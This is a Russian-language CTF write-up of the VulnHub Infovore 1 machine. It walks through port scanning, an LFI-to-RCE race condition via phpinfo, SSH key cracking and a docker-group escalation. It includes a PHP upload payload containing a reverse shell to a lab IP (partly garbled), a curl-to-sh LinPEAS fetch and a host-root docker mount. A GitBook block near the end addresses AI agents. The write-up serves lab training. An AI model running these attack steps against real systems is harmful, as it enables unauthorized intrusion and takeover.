> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md). # Infovore: разбор VulnHub 1 {% embed url="" %} {% hint style="warning" %} Навыки: * Веб-перечисление * LFI (локальное включение файлов) * Злоупотребление file/\_uploads, видимым в info.php (LFI2RCE через phpinfo() + состязательное состояние) * Перечисление системы (LinPEAS) * Взлом защищённого приватного SSH-ключа * Злоупотребление доверием к паре SSH-ключей для выхода из контейнера * Злоупотребление группой docker (повышение привилегий) {% endhint %} ## Разведка #### **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

#### **Обнаружение IP-адреса с помощью arp-scan:** Использование команды arp-scan для определения IP-адреса машины: ```bash arp-scan -I ens33 --localnet --ignoredups ```

#### **Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.146 -oG allPorts ```

#### **Сканирование версий портов с помощью Nmap:** Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted": ```bash nmap -sCV -p80 192.168.71.146 -oN targeted ```

#### Сканирование сервера с помощью Wappalyzer: Используя Wappalyzer, определяем, что сервер использует Apache и язык программирования PHP.

#### **Определение целевой версии с помощью WhatWeb** Используя WhatWeb для сканирования сайта и определения версии машины (Ubuntu) и Apache: ```bash whatweb http://192.168.71.146 ```

## Разведка `info.php` **Поиск директорий с помощью Gobuster:** Используйте **Gobuster** с использованием словаря для поиска скрытых файлов доступа. ```bash gobuster dir -u http://192.168.71.146/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,txt,html,php.bak ```

Файл с именем **info.php** был найден, который содержит всю PHP-конфигурацию сервера.

Можно заметить, что отключённых функций нет.

## Уязвимость загрузки файлов: После нахождения `info.php` файла исследуем возможность загрузки файлов на сервер.

**Перехват с помощью Burp Suite:** Используйте Burp Suite, чтобы перехватить запрос. Измените метод с «GET» на «POST».

#### Запрос на загрузку текстового файла на сервер: Используйте приведённый ниже запрос Burp Suite, чтобы загрузить файл с именем `test.txt`: ```markup Content-Type: multipart/form-data; boundary=--pwned ----pwned Content-Disposition: form-data; name="name"; filename="test.txt" Content-Type: text/plain Это тест ----pwned ```

**Инъекция PHP-кода:** Попробуйте внедрить PHP-код, используя ту же структуру Burp Suite. Измените содержимое файла, который нужно внедрить. ```markup Content-Type: multipart/form-data; boundary=--pwned ----pwned Content-Disposition: form-data; name="name"; filename="cmd.php" Content-Type: text/plain & /dev/tcp/192.168.71.45/443 0>&1'"); ?> ----pwned ``` #### Подтверждение инъекции: Проверьте, была ли инъекция успешной, подтвердив наличие файла «cmd.php» на сервере.

#### Поиск LFI Чтобы найти уязвимость LFI, мы используем инструмент wfuz, чтобы определить возможный параметр, перенаправляющий на PHP-файл. Команда следующая: ```bash wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd" ```

#### Трудность из-за постоянной смены файла: К сожалению, мы не можем просмотреть содержимое файла cmd.php из-за постоянной смены временной папки:

## Уязвимость состязательного состояния: Используйте [автоматизированный скрипт](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) для эксплуатации состязательного состояния в процессе. #### Адаптация скрипта Мы адаптируем скрипт под нашу конкретную ситуацию.

#### Успешный доступ к машине: Нам удаётся получить доступ к машине, эксплуатируя состязательное состояние.

#### Стабилизация терминала для повышения привилегий: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Повышение привилегий: Мы замечаем, что находимся в контейнере, и используем команду, чтобы найти адрес реального контейнера (192.168.150.1). Затем проверяем, открыт ли порт 22 на этой машине.

```bash echo '' > /dev/tcp/192.168.150.1/22 ```

### **Перечисление системы (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** Мы используем LinPEAS для выявления привилегий: ```bash curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh ```

#### Мы находим неожиданную папку tgz в корневом каталоге.

```bash cp /.oldkeys.tgz /tmp/ cd !$ mv .oldkeys.tgz oldkeys.tgz tar -xf oldkeys.tgz ``` ### /*/* Взлом защищённого приватного SSH-ключа:/*/* #### Определение приватного SSH-ключа Мы определяем пару открытого и закрытого SSH-ключей OpenSSH.

#### Взлом приватного ключа: * Мы замечаем, что приватный ключ зашифрован

* Мы используем **ssh2john.py** чтобы преобразовать содержимое файла в хэш: ```bash python2.7 /usr/share/john/ssh2john.py id_rsa ```

* Затем мы используем John the Ripper, чтобы взломать хэш с помощью списка паролей. ```bash john -w:/usr/share/wordlists/rockyou.txt hash ```

#### Доступ от root: Мы получаем доступ к машине от root.

### **Злоупотребление доверием к паре SSH-ключей для выхода из контейнера:** Мы пытаемся перейти на другую машину, используя конфигурацию known\_hosts в каталоге ssh контейнера, что позволяет нам подключиться к пользователю admin на хост-машине.

### **Злоупотребление группой Docker (повышение привилегий):** #### [docker](/ru/privesc/user-groups/docker-group-linux-privilege-escalation.md) Принадлежность к группе: Мы замечаем, что состоим в группе docker.

#### Использование группы docker для преодоления ограничений привилегий: Мы используем наше членство в группе docker, чтобы смонтировать файловую систему реальной машины в административный контейнер: ```bash docker run -dit -v /:/mnt/root --name privesc theart42/infovore ```

ВЗЛОМАНО :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.